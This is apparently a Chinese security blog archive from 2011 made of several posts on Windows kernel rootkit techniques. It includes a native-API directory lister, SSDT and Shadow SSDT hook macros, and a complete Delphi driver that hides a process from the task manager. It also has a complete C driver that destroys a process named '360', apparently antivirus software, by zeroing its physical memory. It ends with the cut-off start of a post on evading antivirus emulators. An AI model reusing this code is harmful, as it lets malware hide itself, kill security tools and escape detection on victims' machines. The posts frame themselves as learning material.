fn_NtOpenFile = (FN_NtOpenFile)GetProcAddress(m_hNtdll,"NtOpenFile");
fn_NtClose = (FN_NtClose)GetProcAddress(m_hNtdll,"NtClose");
fn_RtlInitUnicodeString = (FN_RtlInitUnicodeString)GetProcAddress(m_hNtdll,"RtlInitUnicodeString");
fn_RtlInitAnsiString = (FN_RtlInitAnsiString)GetProcAddress(m_hNtdll,"RtlInitAnsiString");
fn_RtlAnsiStringToUnicodeString = (FN_RtlAnsiStringToUnicodeString)GetProcAddress(m_hNtdll,"RtlAnsiStringToUnicodeString");
fn_RtlUnicodeStringToAnsiString = (FN_RtlUnicodeStringToAnsiString)GetProcAddress(m_hNtdll,"RtlUnicodeStringToAnsiString");
fn_RtlFreeUnicodeString = (FN_RtlFreeUnicodeString)GetProcAddress(m_hNtdll,"RtlFreeUnicodeString");
fn_RtlFreeAnsiString = (FN_RtlFreeAnsiString)GetProcAddress(m_hNtdll,"RtlFreeAnsiString");
 
if (!(fn_NtQueryDirectoryFile && fn_NtOpenFile && fn_NtClose && fn_RtlInitUnicodeString))
{
return false;
}
return true;
}
 
CNtQuery::CNtQuery(void)
{
if (!m_bInit)
m_bInit = GetAddr();
}
 
CNtQuery::~CNtQuery(void)
{
}
 
HANDLE CNtQuery::FindFirstFile(LPCTSTR strDirectory,PBYTE bytBuffer,ULONG size)
{
if (!m_bInit)
return INVALID_HANDLE_VALUE;
 
TCHAR strFolder[MAX_PATH];
OBJECT_ATTRIBUTES obAttr;
IO_STATUS_BLOCK objIoStatus;
NTSTATUS ntStatus;
HANDLE hFind = NULL;
UNICODE_STRING strUnicode;
 
wsprintf(strFolder,_T("\\??\\%s"),strDirectory);
 
//'初始化Unicode字符串
#ifdef UNICODE
fn_RtlInitUnicodeString(&strUnicode, strFolder);
#else
ANSI2UNICODE(strFolder,&strUnicode);
#endif
 
memset(&objIoStatus,0,sizeof(IO_STATUS_BLOCK));
memset(&obAttr,0,sizeof(OBJECT_ATTRIBUTES));
 
obAttr.Length = sizeof(OBJECT_ATTRIBUTES); //'初始化OBJECT_ATTRIBUTES結構
obAttr.Attributes = OBJ_CASE_INSENSITIVE;
obAttr.ObjectName = &strUnicode; //'需要打開的文件夾路徑
obAttr.RootDirectory = NULL;
obAttr.SecurityDescriptor = NULL;
obAttr.SecurityQualityOfService = NULL;
//'獲取文件夾句柄
ntStatus = fn_NtOpenFile(&hFind,
FILE_LIST_DIRECTORY | SYNCHRONIZE | FILE_ANY_ACCESS,
&obAttr,
&objIoStatus,
3,
FILE_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT | FILE_OPEN_FOR_BACKUP_INTENT);
#ifndef UNICODE
//釋放內存
fn_RtlFreeUnicodeString(&strUnicode);
#endif
if (ntStatus == 0 && hFind != INVALID_HANDLE_VALUE)
{
 
//'獲取文件夾文件/目錄信息,其實這個函數是Kernel32裡的FindFirstFile的封裝
ntStatus = fn_NtQueryDirectoryFile(hFind,
NULL,
NULL,
NULL,
&objIoStatus,
bytBuffer,
size,
FileBothDirectoryInformation,
TRUE,
NULL,
NULL);
if (ntStatus == 0) //'Nt系列函數一般返回大於零表示成功,而NtQueryDirectoryFile返回零表示成功
{
//_tprintf(_T("Succeed!\n"));
return hFind;
}else{
fn_NtClose(hFind);
}
}
return INVALID_HANDLE_VALUE;
}
 
bool CNtQuery::FindNextFile(HANDLE hFind,PBYTE bytBuffer,ULONG size)
{
if (!m_bInit)
return false;
NTSTATUS ntStatus;
IO_STATUS_BLOCK objIoStatus;
//'這是Kernel32 FindNextFile的封裝,只是是一次把所有文件/目錄都取出來了
ntStatus = fn_NtQueryDirectoryFile(hFind,
NULL,
NULL,
NULL,
&objIoStatus,
bytBuffer,
size,
FileBothDirectoryInformation,
FALSE,
NULL,
NULL);
//_tprintf(_T("ntStatus\n"));
return (ntStatus == 0);
}
 
void CNtQuery::Enum(LPCTSTR lpszPath)
{
if (!m_bInit)
return;
#ifndef UNICODE
ANSI_STRING asfn,asan;
#endif
 
PFILE_BOTH_DIRECTORY_INFORMATION pDir;
HANDLE hFind;
LPBYTE bytBuffer;
wchar_t fileName[_MAX_FNAME];
wchar_t AlternateName[13];
TCHAR strPath[MAX_PATH];
TCHAR strFileName[MAX_PATH];
 
ULONG dwDirOffset;
ULONG iCount = 0;
ULONG usize = sizeof(FILE_BOTH_DIRECTORY_INFORMATION) + MAX_PATH * 2 - 3;
bytBuffer = new BYTE[usize];
//memset(bytBuffer,0,usize);
 
lstrcpy(strPath,lpszPath);
 
hFind = FindFirstFile(strPath,bytBuffer,usize); //'獲取第一個文件/目錄對象
if (hFind == INVALID_HANDLE_VALUE)
return ;
pDir = (PFILE_BOTH_DIRECTORY_INFORMATION)bytBuffer;
//獲取FILE_BOTH_DIRECTORY_INFORMATION結構,目的是獲取FileNameLength和NextEntryOffset數據
 
memcpy(fileName, pDir->FileName, pDir->FileNameLength);
memcpy(AlternateName,pDir->AlternateName,pDir->AlternateNameLength); //8.3短文件名
fileName[pDir->FileNameLength / sizeof(wchar_t)] = 0;
AlternateName[pDir->AlternateNameLength / sizeof(wchar_t)] = 0; //這裡的長度都是字節數
 
#ifndef UNICODE
UNICODE2ANSI(fileName, &asfn);
UNICODE2ANSI(AlternateName, &asan);
wsprintf(strFileName,_T("%s%s"),strPath, asfn.Buffer);
_tprintf(_T("%02d %8s\t%s\n"),pDir->AlternateNameLength, asan.Buffer, strFileName);
fn_RtlFreeAnsiString(&asfn);
fn_RtlFreeAnsiString(&asan);
#else
wsprintf(strFileName,_T("%s%s"),strPath,fileName);
_tprintf(_T("%02d %8s\t%s\n"),pDir->AlternateNameLength, AlternateName, strFileName);
#endif
 
delete[] bytBuffer;
 
usize = (sizeof(FILE_BOTH_DIRECTORY_INFORMATION) + (260 * 2 - 3)) * 0x2000;
bytBuffer = new BYTE[usize];
 
iCount = 1;
while (FindNextFile(hFind,bytBuffer,usize)) //雖然分配了許多空間了,但是仍可能不能把全部文件列舉出來,因此,這裡需要進一步測試
{
dwDirOffset = 0;
//遍歷緩存
while(true)
{
//移動指針
pDir = (PFILE_BOTH_DIRECTORY_INFORMATION)(bytBuffer + dwDirOffset);
//得到FILE_BOTH_DIRECTORY_INFORMATION結構
 
memcpy(fileName, pDir->FileName, pDir->FileNameLength); //文件名
memcpy(AlternateName,pDir->AlternateName,pDir->AlternateNameLength); //8.3短文件名
AlternateName[pDir->AlternateNameLength / sizeof(wchar_t)] = 0; //這裡的長度都是字節數
fileName[pDir->FileNameLength / sizeof(wchar_t)] = 0;
 
#ifndef UNICODE
UNICODE2ANSI(fileName, &asfn);
UNICODE2ANSI(AlternateName, &asan);
wsprintf(strFileName,_T("%s%s"),strPath, asfn.Buffer);
_tprintf(_T("%02d %8s\t%s\n"),pDir->AlternateNameLength, asan.Buffer, strFileName);
fn_RtlFreeAnsiString(&asfn);
fn_RtlFreeAnsiString(&asan);
#else
wsprintf(strFileName,_T("%s%s"),strPath,fileName);
_tprintf(_T("%02d %8s\t%s\n"),pDir->AlternateNameLength, AlternateName, strFileName);
#endif
//這裡如果是目錄可以遞歸遍歷目錄下所有文件/目錄,可以自己封裝一個遞歸函數吧
 
iCount++;
if (pDir->NextEntryOffset == 0)
break;
dwDirOffset += pDir->NextEntryOffset; //這裡指向下一個FILE_BOTH_DIRECTORY_INFORMATION結構在內存中的位置
}
}
 
delete[] bytBuffer;
fn_NtClose(hFind);
_tprintf(_T("\nfilecount: %d\n"),iCount);
}
 
//RtlAnsiStringToUnicodeString()
//RtlUnicodeStringToAnsiString()
//當第3個參數為TRUE時,系統將新分配內存,所以要記得調用RtlFreeUnicodeString()和RtlFreeAnsiString()釋放掉。
 
NTSTATUS CNtQuery::ANSI2UNICODE(LPCSTR lpBuf, PUNICODE_STRING pUnicodeString, BOOLEAN AllocateDestinationString)
{
ANSI_STRING as;
fn_RtlInitAnsiString( &as, lpBuf );
return fn_RtlAnsiStringToUnicodeString( pUnicodeString, &as, AllocateDestinationString );
}
 
NTSTATUS CNtQuery::UNICODE2ANSI(LPCWSTR lpBuf, PANSI_STRING pAnsiString, BOOLEAN AllocateDestinationString)
{
UNICODE_STRING ns;
fn_RtlInitUnicodeString( &ns, lpBuf );
return fn_RtlUnicodeStringToAnsiString( pAnsiString, &ns, AllocateDestinationString );
}

2011年7月29日星期五

分享比較完整的ROOTKIT DEMO! 原來Shadow Hook和SSDT Hook一樣容易!

作 者: embedlinux


這裡寫的ROOTKIT比較簡單(有些代碼是消化別人的代碼後改寫過來的),高手跳過.......
包含以下內容:(詳細請看源代碼)
SSDT Hook
//hook system call
#define HOOK_SYSCALL(FuncName, pHookFunc, pOrigFunc ) \
          pOrigFunc = (PVOID)InterlockedExchange( \
          (PLONG)&MappedSystemCallTable[ SYSCALL_INDEX(FuncName) ], \
          (LONG)pHookFunc)
      
//unhook system call
#define UNHOOK_SYSCALL(FuncName, pHookFunc, pOrigFunc ) \
          InterlockedExchange( \
          (PLONG)&MappedSystemCallTable[ SYSCALL_INDEX(FuncName) ],\
          (LONG)pOrigFunc)
SSDT HOOK瞭如下函數:
ZwQueryValueKey
ZwEnumerateValueKey
ZwQueryDirectoryFile
ZwOpenProcess
ZwDeleteKey
ZwDeleteValueKey
ZwSaveKey
ZwLoadDriver
ZwSetSystemInformation
ZwTerminateProcess

Shadow Hook
仿照SSDT HOOK,下面定義兩個宏,讓Shadow Hook和SSDT Hook一樣簡單!
//hook shadow system call
#define HOOK_SHADOW_SYSCALL(SysCallIndex, pHookFunc, pOrigFunc ) \
          pOrigFunc = (PVOID)InterlockedExchange( \
          (PLONG)&MappedSystemCallTable[ (SysCallIndex) ], \
          (LONG)pHookFunc)
      
//unhook shadow system call
#define UNHOOK_SHADOW_SYSCALL(SysCallIndex, pHookFunc, pOrigFunc ) \
          InterlockedExchange( \
          (PLONG)&MappedSystemCallTable[ (SysCallIndex) ],\
          (LONG)pOrigFunc)
上週一接到騰訊的電話面試,由於有一段時間沒研究HOOK了,問到Shadow Hook時沒回答好!汗!
現在把Shadow Hook重新整理了一下!
Shadow Hook瞭如下函數,程序框架比較好,容易加入新掛鉤函數
NtUserFindWindowEx
NtUserGetForegroundWindow
NtUserQueryWindow
NtUserBuildHwndList
NtUserWindowFromPoint
NtUserSetWindowsHookEx
NtUserGetDC
NtUserGetDCEx
NtUserSendInput

為了保護進程,研究了終止進程的方法
WINDOWS內核定時器
老土的文件/目錄隱藏
註冊表鍵值隱藏
驅動隱藏
系統線程
IRP文件操作

多種加載內核級ROOTKIT方法
Ring3中恢復SSDT(ZwSystemDebugControl)
從資源釋放文件
遠程進程注入
消息鉤子注入DLL
查找窗口
查找進程

注意:不要隨便運行程序,最好在虛擬機下運行!此程序僅供學習WINDOWS內核驅動編程用!
在自己的ntddk.h中的結構IO_STACK_LOCATION添加如下代碼才能順利通過編譯:
//Parameters for IRP_MJ_DIRECTORY_CONTROL
struct {
   ULONG Length;
   PUNICODE_STRING FileName;
   FILE_INFORMATION_CLASS POINTER_ALIGNMENT \
   FileInformationClass;
} QueryDirectory;
下面兩圖分別是程序啟動信息和在Ring0恢復SSDT:

2011年7月28日星期四

SSDT Hook原理及Delphi實現

作者:mickeylan
  
一、一般思路:
1.先來了解一下,什麼是SSDT
SSDT即System Service Dispath Table。在了解它之前,我們先了解一下NT的基本組件。在Windows NT 下,NT 的executive(NTOSKRNL.EXE 的一部分)提供了核心系統服務。各種Win32、OS/2 和POSIX 的APIs 都是以DLL 的形式提供的。這些dll中的APIs 轉過來調用了NT executive 提供的服務。儘管調用了相同的系統服務,但由於子系統不同,API 函數的函數名也不同。例如,要用Win32 API 打開一個文件,應用程序會調用CreateFile(),而要用POSIX API,則應用程序調用open() 函數。這兩種應用程序最終都會調用NT executive 中的NtCreateFile() 系統服務。

用戶模式(User mode)的所有調用,如Kernel32,User32.dll, Advapi32.dll等提供的API,最終都封裝在Ntdll.dll中,然後通過Int 2E或SYSENTER進入到內核模式,通過服務ID,在System Service Dispatcher Table中分派系統函數,舉個具體的例子,如下圖:

從上可知,SSDT就是一個表,這個表中有內核調用的函數地址。從上圖可見,當用戶層調用FindNextFile函數時,最終會調用內核層的NtQueryDirectoryFile函數,而這個函數的地址就在SSDT表中,如果我們事先把這個地址改成我們特定函數的地址,那麼,哈哈。 。 。 。 。 。 。下來詳細了解一下,SSDT的結構,如下圖:

KeServiceDescriptorTable:是由內核(Ntoskrnl.exe)導出的一個表,這個表是訪問SSDT的關鍵,具體結構如下:
TServiceDescriptorEntry=packed record
  ServiceTableBase:PULONG;
  ServiceCounterTableBase:PULONG;
  NumberOfServices:ULONG;
  ParamTableBase:PByte;
end;

其中,
ServiceTableBase -- System Service Dispatch Table 的基地址。
NumberOfServices 由ServiceTableBase 描述的服務的數目。
ServiceCounterTable 此域用於操作系統的checked builds,包含著SSDT 中每個服務被調用次數的計數器。這個計數器由INT 2Eh 處理程序(KiSystemService)更新。
ParamTableBase 包含每個系統服務參數字節數表的基地址。
System Service Dispath Table(SSDT):系統服務分發表,給出了服務函數的地址,每個地址4字節長。
System Service Parameter Table(SSPT):系統服務參數表,定義了對應函數的參數字節,每個函數對應一個字節。如在0x804AB3BF處的函數需0x18字節的參數。
還有一種這樣的表,叫KeServiceDescriptorTableShadow,它主要包含GDI服務,也就是我們常用的和窗口,桌面有關的,具體存在於Win32k.sys。在如下圖:

右側的服務分發就通過KeServiceDescriptorTableShadow。
那麼下來該咋辦呢?下來就是去改變SSDT所指向的函數,使之指向我們自己的函數。
2. Hook前的準備-改變SSDT內存的保護
系統對SSDT都是只讀的,不能寫。如果試圖去寫,等你的就是BSOD。一般可以修改內存屬性的方法有:通過cr0寄存器及Memory Descriptor List(MDL)。
(1)改變CR0寄存器的第1位
Windows對內存的分配,是採用的分頁管理。其中有個CR0寄存器,如下圖:

其中第1位叫做保護屬性位,控制著頁的讀或寫屬性。如果為1,則可以讀/寫/執行;如果為0,則只可以讀/執行。 SSDT、IDT的頁屬性在默認下都是只讀,可執行的,但不能寫。所以現在要把這一位設置成1。
(2) 通過Memory Descriptor List(MDL)
也就是把原來SSDT的區域映射到我們自己的MDL區域中,並把這個區域設置成可寫。 MDL的結構:
TMDL=packed record
  Next: PMDL;
  Size: CSHORT;
  MdlFlags: CSHORT;
  Process: PEPROCESS;
  MappedSystemVa: PVOID;
  StartVa: PVOID;
  ByteCount: ULONG;
  ByteOffset: ULONG;
end;

首先需要知道KeServiceDscriptorTable的基址和入口數,這樣就可以用MmCreateMdl創建一個有起始地址和大小的內存區域。然後把這個MDL結構的flag改成MDL_MAPPED_TO_SYSTEM_VA ,那麼這個區域就可以寫了。最後把這個內存區域調用MmMapLockedPages鎖定在內存中。大體框架如下:

{ 把SSDT隱射到我們的區域,以便修改它為可寫屬性 }
  g_pmdlSystemCall := MmCreateMdl(nil, lpKeServiceDescriptorTable^.ServiceTableBase,
                                  lpKeServiceDescriptorTable^.NumberOfServices * 4);
  if g_pmdlSystemCall = nil then
    Exit(STATUS_UNSUCCESSFUL);

  MmBuildMdlForNonPagedPool(g_pmdlSystemCall);

  { 改變MDL的Flags屬性為可寫,​​既然可寫當然可讀,可執行 }
  g_pmdlSystemCall^.MdlFlags := g_pmdlSystemCall^.MdlFlags or MDL_MAPPED_TO_SYSTEM_VA;
  { 在內存中鎖定,不讓換出 }
  MappedSystemCallTable := MmMapLockedPages(g_pmdlSystemCall, KernelMode);

現在遇到的第一個問題解決了,但接著面臨另外一個問題,如何獲得SSDT中函數的地址呢?
由於Delphi不支持導入其他模塊導出的變量,因此我們在這裡使用變通的方法,我們把KeServiceDescriptorTable當成函數導入。因此在處理上就和C不同了。由於KeServiceDescriptorTable是當成函數導入的,因此它的真實地址就保存在IAT表中,我們首先用GetImportFunAddr函數從IAT中取得KeServiceDescriptorTable的地址,接下來用SystemServiceName函數取得相應函數在SSDT中的地址。 SystemServiceName的原理就是因為所有的Zw*函數都開始於opcode:MOV eax, ULONG,這裡的ULONG就是系統調用函數在SSDT中的索引。接下來我們使用InterlockedExchange自動的交換SSDT中索引所對應的函數地址和我們hook函數的地址。
3.小試牛刀:利用SSDT Hook隱藏進程
我們所熟知的任務管理器,能察看系統中的所有進程及其他很多信息,這是由於調用了一個叫ZwQuerySystemInformation的內核函數,其函數原型如下:
function ZwQuerySystemInformation(
  SystemInformationClass: SYSTEM_INFORMATION_CLASS; {如果這值是5,則代表系統中所有進程信息}
  SystemInformation: PVOID; {這就是最終列舉出的信息,和上面的值有關}
  SystemInformationLength: ULONG;
  ReturnLength: PULONG): NTSTATUS; stdcall;

如果用我們自己函數,這個函數可以把我們關心的進程過濾掉,再把它與原函數調換,則可達到隱藏的目的,大體思路如下:
(1) 突破SSDT的內存保護,如上所用的MDL方法
(2) 實現自己的NewZwQuerySystemInformation函數,過濾掉以某些字符開頭的進程
(3) 用InterlockedExchange來交換ZwQuerySystemInformation與我們自己的New*函數
(4) 卸載New*函數,完成。
具體代碼如下:
unit ssdt_hook;

interface

uses
  nt_status, ntoskrnl, native, fcall, macros;

function _DriverEntry(pDriverObject:PDRIVER_OBJECT;
                      pusRegistryPath:PUNICODE_STRING): NTSTATUS; stdcall;

implementation
type
  {定義ZwQuerySystemInformation函數類型}
  TZwQuerySystemInformation =
    function(SystemInformationClass: SYSTEM_INFORMATION_CLASS;
             SystemInformation: PVOID;
             SystemInformationLength: ULONG;
             ReturnLength: PULONG): NTSTATUS; stdcall;

var
  m_UserTime: LARGE_INTEGER;
  m_KernelTime: LARGE_INTEGER;
  OldZwQuerySystemInformation: TZwQuerySystemInformation;
  g_pmdlSystemCall: PMDL;
  MappedSystemCallTable: PPointer;
  lpKeServiceDescriptorTable: PServiceDescriptorEntry;

{ 由於Delphi無法導入其他模塊導出的變量,因此我們變通一下,將其
  當做函數導入,這樣,其真實地址就保存在IAT中,每條導入函數的
  IAT記錄有6字節,格式為jmp ds:[xxxxxxxx],機器碼為FF25xxxxxxxx,
  FF25是長跳轉的機器碼,跳過這2字節就是需要的地址。這點與C中不同,
  需要注意。 }
function GetImportFunAddr(lpImportAddr: Pointer): Pointer; stdcall;//從導入表中獲取一個函數的地址
begin
  { 直接使用指針指向函數即可,還原SSDT的時候類似,也只需要指向
    KeServiceDescriptorTable }
  Result := PPointer(PPointer(Cardinal(lpImportAddr) + 2)^)^;
end;

{ KeServiceDescriptorTable+函數名計算SSDT函數偏移 }
function SystemServiceName(AFunc: Pointer): PLONG; stdcall;
begin
  { SSDT偏移+函數名,就是SSDT函數偏移 }
  { Delphi 2009中支持Pointer Math運算,可以這樣寫 }
  {Result := lpKeServiceDescriptorTable^.ServiceTableBase[PULONG(ULONG(AFunc) + 1)^];}
  { 如果用其他版本,就只能像下面這樣寫了 }
  Result := PLONG(Cardinal(lpKeServiceDescriptorTable^.ServiceTableBase) + (SizeOf(ULONG) * PULONG(ULONG(AFunc) + 1)^));
end;

{ 我們的hook函數,過濾掉"InstDrv"的進程 }
function NewZwQuerySystemInformation(
            SystemInformationClass: SYSTEM_INFORMATION_CLASS;
            SystemInformation: PVOID;
            SystemInformationLength: ULONG;
            ReturnLength: PULONG): NTSTATUS; stdcall;
var
  nt_Status: NTSTATUS;
  curr, prev: PSYSTEM_PROCESSES;
  times: PSYSTEM_PROCESSOR_TIMES;
begin
  nt_Status := OldZwQuerySystemInformation(
          SystemInformationClass,
          SystemInformation,
          SystemInformationLength,
          ReturnLength );

  if NT_SUCCESS(nt_Status) then
  begin
    { 請求文件、目錄列表 }
    if SystemInformationClass = SystemProcessesAndThreadsInformation then
    begin
      { 列舉系統進程鍊錶 }
      { 尋找"InstDrv"進程 }
      curr := PSYSTEM_PROCESSES(SystemInformation);
      prev := nil;
      while curr <> nil do
      begin
        DbgPrint('Current item is %x'#13#10, curr);
        if curr^.ProcessName.Buffer <> nil then
        begin
          if wscncmp(curr^.ProcessName.Buffer, PWideChar('InstDrv'), 7) = 0 then
          begin
            Inc(m_UserTime.QuadPart, curr^.UserTime.QuadPart);
            Inc(m_KernelTime.QuadPart, curr^.KernelTime.QuadPart);

            if prev <> nil then
            begin
              { Middle or Last entry }
              if curr^.NextEntryDelta <> 0 then
                Inc(prev^.NextEntryDelta, curr^.NextEntryDelta)
              else
                { we are last, so make prev the end }
                prev^.NextEntryDelta := 0;
            end else
            begin
              if curr^.NextEntryDelta <> 0 then
              begin
                { we are first in the list, so move it forward }
                PAnsiChar(SystemInformation) := PAnsiChar(SystemInformation) +
                                                curr^.NextEntryDelta;
              end else { we are the only process! }
                SystemInformation := nil;
            end;
          end;
        end else { Idle process入口 }
        begin
          { 把InstDrv進程的時間加給Idle進程,Idle稱空閒時間 }
          Inc(curr^.UserTime.QuadPart, m_UserTime.QuadPart);
          Inc(curr^.KernelTime.QuadPart, m_KernelTime.QuadPart);

          { 重設時間,為下一次過濾 }
          m_UserTime.QuadPart := 0;
          m_KernelTime.QuadPart := 0;
        end;
        prev := curr;
        if curr^.NextEntryDelta <> 0 then
          PAnsiChar(curr) := PAnsiChar(curr) + curr^.NextEntryDelta
        else
          curr := nil;
      end;
    end else if SystemInformationClass = SystemProcessorTimes then
    begin
      times := PSYSTEM_PROCESSOR_TIMES(SystemInformation);
      times^.IdleTime.QuadPart := times^.IdleTime.QuadPart +
                                  m_UserTime.QuadPart +
                                  m_KernelTime.QuadPart;
    end;
  end;
  Result := nt_Status;
end;

procedure OnUnload(DriverObject: PDRIVER_OBJECT); stdcall;
begin
  DbgPrint('ROOTKIT: OnUnload called'#13#10);

  { 卸載hook }
  InterlockedExchange(SystemServiceName(GetImportFunAddr(@ZwQuerySystemInformation)),
                      LONG(@OldZwQuerySystemInformation));
  { 解鎖並釋放MDL }
  if g_pmdlSystemCall <> nil then
  begin
    MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
    IoFreeMdl(g_pmdlSystemCall);
  end;
end;

function _DriverEntry(pDriverObject: PDRIVER_OBJECT;
                      pusRegistryPath: PUNICODE_STRING): NTSTATUS;
begin
  { 取得指向系統服務描述符表的指針…… }
  lpKeServiceDescriptorTable := GetImportFunAddr(@KeServiceDescriptorTable);
  { 註冊一個卸載的分發函數,與與應用層溝通 }
  pDriverObject^.DriverUnload := @OnUnload;

  { 初始化全局時間為零 }
  { 這將會解決時間問題,如果不這樣,儘管隱藏了進程,但時間的
    消耗會不變,cpu 100% }
  m_UserTime.QuadPart := 0;
  m_KernelTime.QuadPart := 0;

  { 保存舊的函數地址 }
  OldZwQuerySystemInformation :=
    TZwQuerySystemInformation(SystemServiceName(GetImportFunAddr(@ZwQuerySystemInformation)));

  { 把SSDT隱射到我們的區域,以便修改它為可寫屬性 }
  g_pmdlSystemCall := MmCreateMdl(nil, lpKeServiceDescriptorTable^.ServiceTableBase,
                                  lpKeServiceDescriptorTable^.NumberOfServices * 4);
  if g_pmdlSystemCall = nil then
    Exit(STATUS_UNSUCCESSFUL);

  MmBuildMdlForNonPagedPool(g_pmdlSystemCall);

  { 改變MDL的Flags屬性為可寫,​​既然可寫當然可讀,可執行 }
  g_pmdlSystemCall^.MdlFlags := g_pmdlSystemCall^.MdlFlags or MDL_MAPPED_TO_SYSTEM_VA;
  { 在內存中鎖定,不讓換出 }
  MappedSystemCallTable := MmMapLockedPages(g_pmdlSystemCall, KernelMode);

  { 把原來的Zw*替換成我們的New*函數。至此已完成了我們的主要兩步,
   先突破了SSDT的保護,接著用InterlockedExchange更改了目標函數,
   下來就剩下具體的過濾任務了 }
  OldZwQuerySystemInformation :=
    TZwQuerySystemInformation(InterlockedExchange(SystemServiceName(GetImportFunAddr(@ZwQuerySystemInformation)),
                        LONG(@NewZwQuerySystemInformation)));

  Result := STATUS_SUCCESS;
end;

end.

這裡我隱藏了InstDrv這個進程,加載驅動後可以發現我們的驅動確實Hook了ZwQuerySystemInformation,而且在進程列表中也看不到InstDrv進程,說明我們的驅動是成功的^_^。

2011年7月27日星期三

暴力強殺進程代碼

作 者: zycxy
時 間: 2011-04-19,0​​1:48:17
鏈接: http://bbs.pediy.com/showthread.php?t=132600

看到竹君大大的內存清零殺進程。裡面用了KeAttachProcess。如果hook了KiAttachProcess,應該就不能成功了。我想能不能更直接些呢。直接將要結束進程的物理內存映射到HyperSpace,然後清零。寫了調試了一晚上,終於好了。在下菜鳥一個,請大家多多指教!在XP SP2和SP3下測試通過。都是PAE分頁。

代碼:
#include <ntddk.h>

#define HYPER_SPACE_BASE (0xc0800000)
#define PDE_BASE (0xc0600000)
#define PTE_BASE (0xc0000000)

#define DIRECTORY_TABLE_BASE (0x18)
#define ACTIVE_PROCESS_LINKS_OFFSET (0x88​​)
#define IMAGE_FILE_NAME_OFFSET (0x174)

#define PROCESS_TO_TERMINATE ("360")

ULONG MapPhysicalAddrToHyperSpace(ULONG PhysicalAddr);
VOID DeleteMapping(ULONG Addr);
VOID DriverUnload(PDRIVER_OBJECT pDriverObject);

NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject,PUNICODE_STRING pRegistryPath)
{
  PEPROCESS pCurrProcess = NULL;
  PEPROCESS pSysProcess = NULL;
  ULONG cr3 = 0;
  ULONG MappedCr3Addr = 0;
  ULONG MappedPdeAddr = 0;
  ULONG MappedPteAddr = 0;
  ULONG MappedRealAddr = 0;
  ULONG i = 0;
  ULONG j = 0;
  ULONG s = 0;
  ULONG t = 0;

  pDriverObject->DriverUnload = DriverUnload;

  pCurrProcess = PsGetCurrentProcess();
  pSysProcess = pCurrProcess;
  pCurrProcess = (PEPROCESS)(*(PULONG)((ULONG)pCurrProcess + ACTIVE_PROCESS_LINKS_OFFSET) - ACTIVE_PROCESS_LINKS_OFFSET);

  while(RtlCompareMemory((PUCHAR)((ULONG)pCurrProcess + IMAGE_FILE_NAME_OFFSET),PROCESS_TO_TERMINATE,3) != 3)
  {
    pCurrProcess = (PEPROCESS)(*(PULONG)((ULONG)pCurrProcess + ACTIVE_PROCESS_LINKS_OFFSET) - ACTIVE_PROCESS_LINKS_OFFSET);

    if(pCurrProcess == pSysProcess)
    {
      return STATUS_UNSUCCESSFUL;
    }
  }

  cr3 = *(PULONG)((ULONG)pCurrProcess + DIRECTORY_TABLE_BASE);

  MappedCr3Addr = MapPhysicalAddrToHyperSpace(cr3);

  if(!MappedCr3Addr)
  {
    return STATUS_UNSUCCESSFUL;
  }

  for(t = 0;t < 2;t++)
  {

    MappedPdeAddr = MapPhysicalAddrToHyperSpace(*(PULONG)(MappedCr3Addr + t * 8) & 0xfffff000);

    if(!MappedPdeAddr)
    {
      return STATUS_UNSUCCESSFUL;
    }
  
    for(i = 0;i < 512;i++)
    {
      if(*(PULONG)(MappedPdeAddr + i * 8) & 1)
      {
        /*if((*(PULONG)(MappedPdeAddr + i * 8) & 0x80) && !(*(PULONG)(MappedPdeAddr + i * 8 + 4) & 80000000))
        {
          for(j = 0;j < 512;j++)
          {
            MappedRealAddr = MapPhysicalAddrToHyperSpace((*(PULONG)(MappedPdeAddr + i * 8) + j * 4096)& 0xfffff000);

            for(s = 0;s < 1024;s++)
            {
              *(PULONG)(MappedRealAddr + s*4) = 0;
            }

            DeleteMapping(MappedRealAddr);
          }

          continue;
        }*/

        if(*(PULONG)(MappedPdeAddr + i * 8) & 0x80)
        {
          return STATUS_UNSUCCESSFUL;
        }

        MappedPteAddr = MapPhysicalAddrToHyperSpace(*(PULONG)(MappedPdeAddr + i * 8) & 0xfffff000);
  
        if(!MappedPteAddr)
        {
          return STATUS_UNSUCCESSFUL;
        }

        for(j = 0;j < 512;j++)
        {
          //if((*(PULONG)(MappedPteAddr + j * 8) & 1) && !(*(PULONG)(MappedPteAddr + j * 8 + 4) & 0x80000000))
          if(*(PULONG)(MappedPteAddr + j * 8) & 1)
          {
            MappedRealAddr = MapPhysicalAddrToHyperSpace(*(PULONG)(MappedPteAddr + j * 8) & 0xfffff000);

            if(!MappedRealAddr)
            {
              return STATUS_UNSUCCESSFUL;
            }

            for(s = 0;s < 1024;s++)
            {
              *(PULONG)(MappedRealAddr + s*4) = 0;
            }
          
            DeleteMapping(MappedRealAddr);
          }
        }

        DeleteMapping(MappedPteAddr);
      }
      
      if(t == 1 && i >= 383)
      {
        break;
      }
    }

    DeleteMapping(MappedPdeAddr);
  }

  DeleteMapping(MappedCr3Addr);

  return STATUS_SUCCESS;
}

ULONG MapPhysicalAddrToHyperSpace(ULONG PhysicalAddr)
{
  ULONG RoundDownPhysicalAddr = PhysicalAddr & 0xfffff000;
  ULONG Entry = RoundDownPhysicalAddr | 0x3;
  ULONG HyperSpacePteBase = (HYPER_SPACE_BASE >> 12) * 8 + PTE_BASE;
  ULONG i = 0;
  ULONG Address = 0;

  for(; i < 1024;i++)
  {
    if(*(PULONG)(HyperSpacePteBase + i * 8) == 0)
    {
      *(PULONG)(HyperSpacePteBase + i*8) = Entry;

      Address = HYPER_SPACE_BASE + i * 0x1000 + PhysicalAddr - RoundDownPhysicalAddr;

      __asm​​ invlpg Address

      return Address;
    }
  }

  return 0;
}

VOID DeleteMapping(ULONG Addr)
{
  *(PULONG)((Addr >> 12) * 8 + PTE_BASE) = 0;

  return;
}

VOID DriverUnload(PDRIVER_OBJECT pDriverObject)
{
  return;
}

2011年7月26日星期二

通過重映射+CRC32來過殺毒軟件虛擬機的動態行為檢查

通過重映射+CRC32來過殺毒軟件虛擬機的動態行為檢查
作 者: 玩命
時 間: 2010-11-18,09:44:13
鏈接: http://bbs.pediy.com/showthread.php?t=125011

好幾個朋友問我如何過虛擬機,虛擬機跑起來除了脫殼的作用。還有就是針對動態獲取的API做調用做判別然後歸納行為。以下代碼就是解決這個問題的。


代碼:
#include <string.h>
#include "crc.h"

#include "xGetProcAddress.h"

#define __GetDosHeader__(x) ((PIMAGE_DOS_HEADER)(x))
